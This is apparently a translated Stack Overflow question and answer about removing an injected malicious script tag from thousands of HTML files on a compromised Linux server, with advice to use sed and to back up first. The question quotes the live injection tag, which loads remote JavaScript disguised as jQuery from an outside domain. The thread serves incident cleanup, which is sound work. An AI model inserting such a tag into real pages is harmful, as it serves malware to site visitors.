linux - 在几个文件中搜索一大段有特殊字符的字符串并替换

标签 linux sed grep replace

我的服务器本周被感染,攻击者运行了一个脚本,在多个文件中注入(inject)了一个脚本,现在我的域被列入了 Google 的黑名单。

注入(inject)的代码是这样的:

<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>

小心!这是恶意软件!

所以,我运行了这个命令(这是一个 linux 服务器):

grep -r "sexfromindia.com" /home/mydomain/public_html/

此命令返回了 9941 个文件:/

我想运行一个脚本来搜索 <script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js type="text/javascript"></script>并将其替换为“”(双空格)。由于所有受感染的文件都在 .html 中,所以双空格不会造成任何伤害。

现在,并非所有文件都被感染,只有 9941 个(约 50%)。

我该如何收拾这个烂摊子?我应该使用 awk、sed、grep 还是 perl? 谁能给我举个例子?

谢谢。

最佳答案

我很想采取更严厉的措施,以防万一发生了更不正当的事情。

也就是说,似乎 sed 是进行此操作的方法。以下是搜索文本并替换整行的示例:Replace whole line containing a string using Sed .

您可能希望在几个文件上测试您的脚本,并在开始进行更改之前备份所有内容。

关于linux - 在几个文件中搜索一大段有特殊字符的字符串并替换,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18129638/

相关文章:

linux - 当我们向 pid 1 发送停止时,docker 如何处理子进程

linux - 使用 Bash 从文本文件创建用户

perl - 拆分字符串头

bash - Find -type d 不带子文件夹

linux - 如何在 Linux 中使用 POSIX API 通过消息队列发送整数?

linux - 升级到 docker 1.5 后无法启动 linux 容器

shell - 如何在 vim 的一行中替换特定索引处的字符?

linux - Sed 命令返回表达式错误

bash - 用于shell脚本中模式匹配的正则表达式并提取匹配部分

linux - 使用 grep -lr 输出将文件添加到 tar